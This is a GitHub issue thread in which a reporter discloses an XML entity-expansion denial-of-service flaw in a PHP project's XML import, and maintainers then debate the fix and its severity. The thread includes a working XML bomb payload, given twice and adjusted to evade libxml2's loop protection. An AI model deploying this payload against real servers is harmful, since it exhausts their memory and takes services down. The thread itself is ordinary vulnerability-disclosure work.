Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XML Injection Denial of Service #1141

Open
prodigysml opened this issue Feb 4, 2018 · 16 comments
Open

XML Injection Denial of Service #1141

prodigysml opened this issue Feb 4, 2018 · 16 comments
Labels
Milestone

Comments

@prodigysml
Copy link

Expected behaviour

Validate XML import against a schema

Actual behaviour

Processes the XML bomb provided

Steps to reproduce

Import an XML file with the following content:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#PCDATA)>
<!ENTITY l "lol" >
<!ENTITY a "dfszfhsauyfghdusyfgsuyfgsiyfgsdyfgseuyfgesuyfgesiugfseugyfgaeyfaegufeuigyyusadgffyyusdgrdfvgesiyuesjuguishd e sui sgdfuisrg uy f gsfure grg sud yhsd rguysege  sejhges xd u esy sy ugse rfsue g$
<!ENTITY lol "&l;">
<!ENTITY lol9 "&lol;&lol;&lol;&lol;">
<!ENTITY aa "&a;&a;&a;&a;">
<!ENTITY lol10 "&lol9;&aa;">
<!ENTITY xxe "&lol10;">

]>
<foo>&xxe;</foo>

This shows how we can make the server consume memory when parsing the XML. This can be done to eventually exhaust the entire server's memory (depending on configuration) and create a denial of service scenario.

The lines of code vulnerable are given below:

if ($xml = simplexml_load_string($data, "SimpleXMLElement", LIBXML_NOCDATA)) {

If schema validation is added to the method, the issue should be resolved. This will also require ensuring entities are not within the XML file too.

@bloatware
Copy link
Member

Thanks for the report @prodigysml. The issue is as critical as any import (e.g. plugins) from untrusted sources, but a validation wouldn't hurt. SimpleXML does not seem to provide a validator, so we'd need to switch to DOMDocument instead.

@bloatware
Copy link
Member

Actually, libxml2 seems to be protected against XML bombs by default, throwing Detected an entity reference loop warning in my tests. Has anyone managed to DoS his server with this?

@prodigysml
Copy link
Author

@bloatware yes they have protected against the XML bomb to a certain extent. It is still pretty simple to recreate an XML bomb. All we have to do is ensure that we don't call an entity more than 4 times.

@bloatware
Copy link
Member

Not sure the protection is that simple, mind providing a bomb example?

@prodigysml
Copy link
Author

Sure thing @bloatware
I would've put it up earlier, just didn't really want to make it public. I guess anyone who wants to exploit it can use learn about XML and do it themselves anyway :)

Example XML code is below:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#PCDATA)>
<!ENTITY l "lol" >
<!ENTITY a "dfszfhsauyfghdusyfgsuyfgsiyfgsdyfgseuyfgesuyfgesiugfseugyfgaeyfaegufeuigyyusadgffyyusdgrdfvgesiyuesjuguishd e sui sgdfuisrg uy f gsfure grg sud yhsd rguysege  sejhges xd u esy sy ugse rfsue gyysd fghsd gfuyes">
<!ENTITY lol "&l;">
<!ENTITY lol9 "&lol;&lol;&lol;&lol;">
<!ENTITY aa "&a;&a;&a;&a;">
<!ENTITY lol10 "&lol9;&aa;">
<!ENTITY xxe "&lol10;">

]>
<foo>&xxe;</foo>

As you can see, we dont have any restrictions on the length of an entity and the number of entities. We have a restriction on the number of times an entity is called. This can easily be expanded to create a DoS scenario. Then only thing is, you will be sending a large payload yourself, but that still isn't that bad when considering you are putting aside specific resources to DoS the system.

Hope that helps! :)

@bloatware
Copy link
Member

Thanks @prodigysml, I know it works in theory, just am not able to create a bomb without sending a really large payload. The server seems to defend itself against exponential attacks, but is probably vulnerable to polynomial ones.

I guess we will just prohibit DOCTYPE declarations atm.

@Bloke
Copy link
Member

Bloke commented Feb 23, 2018

I don't think there's much else we can do here. Everyone concur? Or can we do more to mitigate this?

@bloatware
Copy link
Member

Schema validation seems too restrictive, we don't know what kind of documents could be imported in the future. I guess there is nothing we can do if a user imports weird files (XML or whatever) into his txp install.

@Bloke
Copy link
Member

Bloke commented Mar 4, 2018

Shall we close this then, and get 4.7.0 beta out?

@bloatware
Copy link
Member

Postpone it to 4.8, perhaps? Custom fields will be a big change, I guess, including XML import.

@Bloke Bloke modified the milestones: v4.7, v4.8 Mar 4, 2018
@philwareham
Copy link
Member

Yep, let’s get beta out ASAP. This can wait.

@bloatware
Copy link
Member

This attack appear to be exploitable via Uploading a specially crafted XML file.

We also recognize being vulnerable to uploading a specially crafted PHP file to a special directory or installing a specially crafted plugin or whatever harmful action a site admin decides to undertake. Any ideas how to fix it?

@NicoleG25
Copy link

Is there any fix for this issue?
Believe that CVE-2018-1000090 was assigned

@bloatware
Copy link
Member

@NicoleG25 the 'issue' is of the same order of criticality that uploading a harmful php file or plugin. We currently use XML import only on setup for data provided with txp distribution, which is safe.

@NicoleG25
Copy link

@bloatware meaning you disagree with the assignment of the CVE-ID?
I'm not quite sure I follow..
In any case if there is no plan to fix this perhaps you should consider disputing the assignment ?

Thanks in advance!

@bloatware
Copy link
Member

@NicoleG25 there is (currently) no plan to fix it since there is (currently) nothing to fix. The only persons able to exploit this 'vulnerability' are txp site admins (or hackers capable to upload files to txp system directories). But they have full powers anyway and don't need this hack to destroy the site.

Thank you for your interest.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

6 participants